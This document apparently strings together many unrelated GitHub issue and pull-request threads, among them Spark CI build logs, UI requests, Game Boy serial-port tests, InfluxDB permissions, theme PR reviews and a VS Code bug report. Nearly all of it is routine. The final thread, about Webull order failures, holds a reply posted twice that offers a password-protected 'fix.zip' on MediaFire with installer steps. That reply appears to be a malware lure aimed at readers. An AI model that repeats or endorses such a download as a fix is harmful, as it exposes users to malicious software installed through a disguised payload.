So my last commit try to fix this as your guidance, keep the same behavior of local scheme file before https://github.com/apache/spark/commit/c4b1108c3f9658adebbdf8508d325528c3206f16, please help me check whether it is the correct semantics we want. Thanks!

Test build #92001 has finished for PR 21533 at commit 5daf804.

This patch fails Spark unit tests.
This patch merges cleanly.
This patch adds no public classes.

Test FAILed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/92001/
Test FAILed.

Merged build finished. Test FAILed.

retest this please.

Test build #92027 has started for PR 21533 at commit 5daf804.

Merged build finished. Test PASSed.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/testing-k8s-prb-make-spark-distribution-unified/279/
Test PASSed.

Merged build finished. Test PASSed.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/testing-k8s-prb-make-spark-distribution/4173/
Test PASSed.

Test build #92027 has finished for PR 21533 at commit 5daf804.

This patch passes all tests.
This patch merges cleanly.
This patch adds no public classes.

Merged build finished. Test PASSed.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/92027/
Test PASSed.

Merged build finished. Test PASSed.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/testing-k8s-prb-make-spark-distribution-unified/511/
Test PASSed.

Test build #92379 has started for PR 21533 at commit ac12568.

Test build #92379 has finished for PR 21533 at commit ac12568.

This patch passes all tests.
This patch merges cleanly.
This patch adds no public classes.

Merged build finished. Test PASSed.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/92379/
Test PASSed.

I think maybe we could:

either ignore the files with "local" scheme, and let user to decide how to fetch the files, like what current fix.
or copy the 'local' scheme files to the SparkFiles#getRootDirectory both in driver and executor. The change would be in Utils#fetchFile.

@jiangxb1987 @vanzin what's your option?

Merged build finished. Test PASSed.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/testing-k8s-prb-make-spark-distribution-unified/534/
Test PASSed.

Test build #92410 has started for PR 21533 at commit eb46ccf.

Test build #92410 has finished for PR 21533 at commit eb46ccf.

This patch fails due to an unknown error code, -9.
This patch merges cleanly.
This patch adds no public classes.

Merged build finished. Test FAILed.

Test FAILed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/92410/
Test FAILed.

retest this please.

Test build #92415 has started for PR 21533 at commit eb46ccf.

Merged build finished. Test PASSed.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/testing-k8s-prb-make-spark-distribution-unified/539/
Test PASSed.

Test build #92415 has finished for PR 21533 at commit eb46ccf.

This patch passes all tests.
This patch merges cleanly.
This patch adds no public classes.

Merged build finished. Test PASSed.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/92415/
Test PASSed.

Test build #4219 has started for PR 21533 at commit eb46ccf.

Test build #4219 has finished for PR 21533 at commit eb46ccf.

This patch fails Spark unit tests.
This patch does not merge cleanly.
This patch adds no public classes.

Test build #4220 has started for PR 21533 at commit eb46ccf.

Test build #4220 has finished for PR 21533 at commit eb46ccf.

This patch fails Spark unit tests.
This patch merges cleanly.
This patch adds no public classes.

retest this please.

Merged build finished. Test PASSed.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/testing-k8s-prb-make-spark-distribution-unified/1110/
Test PASSed.

Test build #93259 has started for PR 21533 at commit eb46ccf.

Please also update the title and PR description because we changed the proposed solution in the middle.

Test build #93259 has finished for PR 21533 at commit eb46ccf.

This patch passes all tests.
This patch merges cleanly.
This patch adds no public classes.

Merged build finished. Test PASSed.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/93259/
Test PASSed.

@jiangxb1987 Thanks for reminding, rephrase done.

lgtm too

SGTM too

Merging to master branch. Thanks all!

Thanks everyone for your help!


Intra-org shipments between bases of the same org

 2.0 FE: Intra-org shipments between bases of the same org

@HaGuesto @fhenrich33
Some requested UI changes:

The other tab should only show the name of the organization, NOT the name of the base. Here the name of the org is "BoxCare", where Thessaloniki is the current base and CANNOT be selected as one of the options in the dropdown (i.e., you can't send a transfer to yourself).
I'd like to keep the format of the original Figma design, ie.., baseName orgName


Touch support improvements

See https://github.com/pongstylin/tactics/issues/46

So in my initial review, it didn't seem like this met all the requirements.  This is because one of the requirements is that the unit is deselected if it hadn't performed any actions yet.  But your code had no conditional logic surrounding this - it always set the selectMode to attack.  But what I failed to notice that it didn't short circuit the sending of the deselect event.  The deselect event DOES have conditional logic.  So, while it does uselessly set the selectMode to attack, it follows that up with deselecting the unit if it hasn't taken any action yet.  While inefficient and unintuitive, this is acceptable to me.  Once the getTile() inefficiency is dealt with, I am prepared to merge the PR.


Preferred material versions

An option like the lighting technology but for materials versions (2022 and pre2022).

I see the relevant flags for this (FStringPartTexturePackTable2022, FStringPartTexturePackTablePre2022, FStringTerrainMaterialTable2022, FStringTerrainMaterialTablePre2022), but are these toggleable? @EasternBloxxer

I see the relevant flags for this (FStringPartTexturePackTable2022, FStringPartTexturePackTablePre2022, FStringTerrainMaterialTable2022, FStringTerrainMaterialTablePre2022), but are these toggleable? @EasternBloxxer

Will do some testing when I'm home

Just tried using the flags for FStringPartTexturePackTablePre2022 in FStringPartTexturePackTable2022 and looks like it actually works!

Still wondering if there's an easier way to switch between the two texture sets, or if we'll just have to replace the flag contents.

Just tried using the flags for FStringPartTexturePackTablePre2022 in FStringPartTexturePackTable2022 and looks like it actually works!

Still wondering if there's an easier way to switch between the two texture sets, or if we'll just have to replace the flag contents.
Hey man, do u know how to do that textures with "FStringPartTexturePackTablePre2022"??


[Improvement][Spark]: Support query on BaseStore

Search before asking

[X] I have searched in the issues and found no similar issues.

What would you like to be improved?
We can use db.table.change to query on ChangeStore， this is usefully in some situation, but db.table.base is not supported now.
We hope to support query on BaseStore via select * from db.table.base
How should we improve?
No response
Are you willing to submit PR?

[ ] Yes I am willing to submit a PR!

Subtasks
No response
Code of Conduct

[X] I agree to follow this project's Code of Conduct

Thanks for proposing this issue.

Would you first clarify which search engines need to be supported?
It will be nice if you explain why this function is needed

Trino already supports querying the base table.
like
select * from {tableName}#base.
Is there any extra work to do?


Behaviour of "open" serial transfers

Originally raised as https://github.com/gbdev/pandocs/pull/556#pullrequestreview-2153629353:

I'm now wondering what value is obtained from attempting a transfer when the other GB(C) has not set its bit 7. Could it depend on the last transferred bit?

This can be expanded to "what happens if the serial port is not connected to another console?"; to the best of my knowledge, bits shifted in are 1s, but this isn't stated clearly.

I have some limited test results about this. I tested various no-connection and live disconnection scenarios (cable out, power down, SC.7 == 0).
I say 'limited' because I wasn't specifically testing what happened upon disconnection while/after receiving certain values. It seems likely that I did inadvertently test both 1 and 0 but it's possible I got lucky and always happened to transfer the right value just before disconnection.
The table shows the various scenarios (remote status) and the value received.

remote status
value rx

not connected
1

connected, unpowered
0

connected, SC.7 == 0
0

Each status includes booting up in that configuration as well as forcing that configuration after some amount of successful transfers. I found no differences in that sense so I just condensed the table down.
Test notes:

Test devices: DMG, MGB, CGB(clear), CGB(red)
all combinations (each as clock provider and not) of MGB & CGB: same result.
all combinations of DMG, MGB, and CGB(clear): same result.
CGB mode not used.
test program simply started the next transfer if not transferring
test values were either counting patterns or random numbers
the last ~8 received bytes were printed on screen
results collected by lookin' at numbers

From a hardware standpoint, not connected and connected, unpowered are exactly what I would expect.
For the "not connected" case, the SI pin has an internal pullup resistor, which sets a default value of 1.
For the "connected, unpowered" case, the SoC pins other side will have clamping diodes going to ground and Vcc, for protecting against ESD and excursions outside the voltage rails. You could backfeed power to a device through these diodes, as showcased in this classic hack using an ATTiny microcontroller as an RFID tag. However, in this case there won't be enough power to power the SoC due to all the series resistors, and instead this will effectively just clamp everything to a logic low.
For "connected, SC.7 == 0" I would expect the other side to permanently drive whatever was the last bit it output on the link port, in other words the previous transfer's bit 0, or a starting value of 0 if no transfer had been done since last reset. At least according to DMG-CPU-Inside, this is a fairly simple circuit where the ELYS latch in the bottom right of the schematic drives the output. Might be interesting to do some corner case research on GBC and especially GBA where the circuitry might be shared with the GBA's more advanced link port circuit.


data is lost after changing file ownership

Hi folks, I cannot not access data. I think its deleted.All measurements is lost after changing file(/var/lib/influxdb/data/mydb) ownership from root to influxdb user.
Influx version: 1.1.1
OS : Ubuntu 16.04

Have you tried to change the ownership back?

Yes, I tried

Can you run ls -lah /var/lib/influxdb?  If you installed influxdb via the official packages, everything should be owned by influxdb.influxdb I believe.   If you are running influxd as root (not advised), it may have created the files owned by root.
It sounds like your file permissions are incorrect somewhere and the user running influxd cannot access them so they appear to be lost.


Socket issue

There is a socket issue on page. Please check the console errors
Failed to load resource: the server responded with a status of 504 () GET https://mucahid.dev/api/socket?EIO=4&t=NxtL7TB&transport=polling 504

I didn't get it but the socket was working on my local correctly but it was not working on the production. I didn't understand o much but the problem is socket can not work correctly on the next.js server. Next.js restricts the socket request on prod as I understand. So I removed the socket feature for now. And the problem is solved. But I will develop it later. Thanks for your feedback.


feat: compact design

Pre-Flight checklist

[ ] Screenshots and design review for any changes that affect layout or styling

[ ] Desktop screenshots
[ ] Mobile width screenshots

[ ] Testing

[ ] Code is tested
[ ] Changes have been manually tested

What are the relevant tickets?
Closes https://github.com/mitodl/ocw-hugo-themes/issues/765
What's this PR do?

Will provide details once PR is finalized and up for review.

How should this be manually tested?

Will provide testing instructions once PR is finalized and up for review.

Screenshots (if appropriate)

Coming soon....

@Wassaf-Shahzad how/can I see this PR deployed with a course?

how/can I see this PR deployed with a course?

@pdpinch This is a deployed course. But the PR is not fully ready yet so there are things that will not seem right yet.

🚀 Deployed on https://ocw-hugo-themes-course-pr-784--ocw-next.netlify.app

@pdpinch This one

@pdpinch Currently, I'm testing multiple courses locally and trying to find issues but I think you can also take a look and if anyone wants to review the code, that is fine too.

@pdpinch Should there be better spacing between table headings and rows

@pdpinch Should there be better spacing between table headings and rows

I don't think the designs include any updates to the table headings and rows.
@Wassaf-Shahzad what are you suggesting we should change?

@pdpinch Should there be better spacing between table headings and rows

I don't think the designs include any updates to the table headings and rows.
@Wassaf-Shahzad what are you suggesting we should change?

#765

what I am inquiring is whether we should increase the spacing between table row and table heading as they currently looked a bit squished (as shown ) on the screenshot above.

@Wassaf-Shahzad @MAbdurrehman12  In the console you see this error:
(index):1814 Uncaught TypeError: Cannot read properties of null (reading 'getElementsByTagName')
    at initResponsiveTables ((index):1814:80)
    at (index):1814:512

It seems this is because the script that does this was looking for the div with the id of main-content, which doesn't seem to exist anymore.  Instead it seems that a div with the class course-home-content is the top level div in the content area, even when you're not on the course home page.  We need to assign an ID again to the outer element in the content area and make sure it matches what's in the script.

Thanks for looking into this @gumaerc @Wassaf-Shahzad
I'll update the PR tomorrow

LGTM ! but you should still wait for @gumaerc if he has any input

@gumaerc instead of creating separate files for header and footer, I have overridden some CSS in course-v2 theme as I had some issues in creating separate files and this approach (of overriding CSS) also looked quite simple.
I have also added this comment that when we completely roll out to new theme then we can get rid of this overridden CSS.
Apart from this, the new theme also has a different logo, which I did not change/replace with the old one as this logo is much clearer.
Can you please have another look? and let me know if you find out any issue.
Thanks

Do we not have tests for the responsive function?

On Jul 20, 2022, at 6:52 AM, Wassaf-Shahzad @.***> wrote:
Tables are not responsive, I checked this behaviour upto 320px which is the recommended smallest screen size. ScreenShots attached


Import Module issue

Issue Type: Bug
I'm not sure if this is an extension issue or not.
The import Module shows as an error within VSCode. It did not do that before but just wanting some information as to a possible solution. I do not use import Module a lot but if I want to use it in the future, i'd want it to work.
Thank you
VS Code version: Code 1.53.2 (622cb03f7e070a9670c94bae1a45d78d7181fbd4, 2021-02-11T11:48:44.518Z)
OS version: Linux x64 5.10.0-kali2-amd64

System Info

Item
Value

CPUs
Intel(R) Core(TM) i5-1035G1 CPU @ 1.00GHz (8 x 3294)

GPU Status
2d_canvas: enabledgpu_compositing: enabledmultiple_raster_threads: enabled_onoop_rasterization: disabled_offopengl: enabled_onprotected_video_decode: unavailable_offrasterization: disabled_softwareskia_renderer: enabled_onvideo_decode: disabled_softwarevulkan: disabled_offwebgl: enabledwebgl2: enabled

Load (avg)
3, 3, 3

Memory (System)
7.53GB (0.17GB free)

Process Argv
--no-sandbox --unity-launch --crash-reporter-id 2ebd0f72-4dc7-4d3b-91d3-690c35e8cf90

Screen Reader
no

VM
0%

DESKTOP_SESSION
gnome

XDG_CURRENT_DESKTOP
GNOME

XDG_SESSION_DESKTOP
gnome

XDG_SESSION_TYPE
x11

Extensions (17)

Extension
Author (truncated)
Version

vscode-database
baj
2.2.3

vscode-django
bat
1.3.0

kivy-vscode
Bat
0.5.5

python-extension-pack
don
1.6.0

vscode-mysql
for
0.4.0

vsc-python-indent
Kev
1.12.0

MagicPython
mag
1.1.0

kvlang
Mon
0.0.5

python
ms-
2021.1.502429796

vscode-pylance
ms-
2021.2.2

jupyter
ms-
2020.12.414227025

vscode-qt-for-python
sea
0.5.3

pykv-snippets
Tak
1.0.7

pygame-snippets
tus
0.0.1

vscodeintellicode
Vis
1.2.11

jinja
who
0.0.8

pyqt-integration
zho
0.2.0

A/B Experiments
vsliv368cf:30146710
vsreu685:30147344
python383cf:30185419
pythonvspyt617cf:30253240
vspor879:30202332
vspor708:30202333
vspor363:30204092
vstry244cf:30256637
pythonvsdeb440:30248342
pythonvsded773:30248341
pythonvspyt875:30251590

Please share steps to reproduce this issue and example code that demonstrates the problem
/needsMoreInfo

Please share steps to reproduce this issue and example code that demonstrates the problem
/needsMoreInfo

I literally typed "Import Module" at the top of the program and VS Code does not recognize it

Thanks for creating this issue! We figured it's missing some basic information or in some other way doesn't follow our issue reporting guidelines. Please take the time to review these and update the issue.
Happy Coding!

I only typed "Import Module" at the top of the program and VS Code does not recognize it

What language is this for?


Subsequent variable declarations must have the same type. Variable '$' must be of type 'cssSelectorHelper', but here has type 'JQueryStatic'.

Trying to add dependency to JQuery as well as JQuery typings, but when I try to run I get the above error...
As a work around I have changed the type of $ from JQueryStatic to cssSelectorHelper at the bottom of the files typings/browser/ambient/jquery/index.d.ts and typings/main/ambient/jquery/index.d.ts, but is there a more elegant or automated way to achieve this?

Hey @Sn3b it seems your problem is mostly related to the jQuery type definition itself not to the seed. You can contact the maintainer of the package.

Yes indeed, but I was hoping you guys had run into a similar issue and found a better work around ;)
Thanks!


System.Net.Http Upgrade for .NET 4.6 and Standard [WIP]

Attempting to work through #57 - may be some trial-and-error until this is nailed down.

This bumps the System.Net.Http dependency to 4.3.1, which no longer has the problematic dependency on System.Diagnostics.DiagnosticSource, and adds a System.Net.Http package dependency for .NET 4.6.
The .NET 4.6 dependency on an unncessary package seems ugly, but it does fix #53; without it, no joy.

The impact on a .NET 4.6 project, after upgrading, will be some additional references:
Retrieving package 'System.Net.Http 4.3.1' from 'nuget.org'.
Retrieving package 'System.Security.Cryptography.Algorithms 4.3.0' from 'nuget.org'.
Retrieving package 'System.Security.Cryptography.Encoding 4.3.0' from 'nuget.org'.
Retrieving package 'System.Security.Cryptography.Primitives 4.3.0' from 'nuget.org'.
Retrieving package 'System.Security.Cryptography.X509Certificates 4.3.0' from 'nuget.org'.

I will merge this; we'll get a 3.3.0-dev-* package out of it. I hope we can find another way around the issue, but better to verify the fix and unblock people for now.


Race Conditions depending environment?

At first I didn't notice it on my local computer, which runs fast and free in development. But as soon, as I implemented it (correctly) on a shared host, troubles began.
Images aren't always scaled, but end op zero byte. Or aren't added to the proper cache folder.
At first I tought it was me. In fact I added the static middleware to the express, but didn't allow access to the cache folder. Instead I re-routed any request to a cached file myselfn re-checking its existence.
After reverting to dictated procedures as in the demo, the problem didn't seem to resolve.
Altering createCacheFile() (l 125), adding async/await to Sharp processing, seems to resolve the zero byte images. Still sometimes the expected cache folder isn't properly created.
If I do find the time, I'm happy do some testing.  I find this module a very nice add-on.
		// create scaled image
		var createCacheFile = () => {
			// create directory if needed
			fs.ensureDir(cacheDirPath, async err => {
				if (err) {
					debug(`red`, `(${reqFileName}) failed to create caching directory: ${cacheFilePath}`)
					return next()
				}
				// disable sharp to cache files
				sharp.cache(false)
				// create and cache image
				try {
					await sharp(originFilePath)
						.resize(cacheFileWidth)
						.withMetadata()
						.toFile(cacheFilePath);
				} catch(err) {
					debug(`red`, `(${reqFileName}) sharp faild to create file: ${err}`)
					return next()
				}
				debug(`green`, `(${reqFileName}) image scaled and created: ${cacheFilePath}`)
				return sendCachedFile()
			})
		}

It really makes sense to run that in sync at that point. I have adopted your suggestion in version 1.6.0. Would be great if you have the time to test it again and leave a feedback. Thanks.


Discuss open source fund raising

Since this has been "in the news" for tech twitter recently, I'd like to discuss this at the core team meeting.
What I'm okay with using this for:

Getting the core team together in the same physical location once a year
Swag purchases for giveaways or just for core team members, etc.

What I'm not okay with using this for:

Paying individuals.
Conference travel. (conferences should be paying for this)
Pretty much anything where it's benefitting a single person more than the group.

If we had a surplus, which is extraordinarily doubtful, I think we could give the remainder to charity or something.
Possible sources for this are basically just from donations. Which, I'm sure would be generally so small that maybe this is a non-issue.
Posting this as an issue, so I can make it an agenda item.

I suggest lock conversation to internalize this for core team discussion.

This was brought before and we have opencollective account even. But at the moment the majority of members agreed we don't have explicit usage even if we get sponsor / funding, while it potentially makes harder for project management perspective. I still stand on this.

For me, suggested usecase 1/2 seems pretty thin and for those (or other arbitary purpose) I don't see good benefit to get external funding. Even more, I am bit in doubt if we could have amount of funds to use.

Slightly derailing topic, in my opinion OSS-approved non-funding support (i.e tooling have oss license / discount, some CI for OSS - we had saucelabs for this - ) are more valuable in terms of our team size or more some organizational help or vice versa. Not sure direct funding is something we want even - that's reason we discussed this back in the days and arrived 2.


Comic 2281 doesn't load

Comic 2281 doesn't load, the spinner spins and else nothing happens.

Confirmed, v7.3.6 from F-droid on Android Oreo 8.1, spinning circle even after wiping app data.


Place order failure - Receiving "The system is busy" from the API

The last few days, order execution is failing for both stocks and options. Has the API url changed for trading? I checked the network tab and the url seemed different, but wasnt sure if I should change it in the endpoints.
wb.place_option_order(tickerId =<PHONE_NUMBER>, action='BUY', orderType='LMT', enforce = 'GTC', quant =2, lmtPrice=2.0)
Result: "place_option_order failed." msg in the response: "The system is busy"

Download
https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Download https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file password: changeme In the installer menu, select "gcc."

Sorry, what is this for?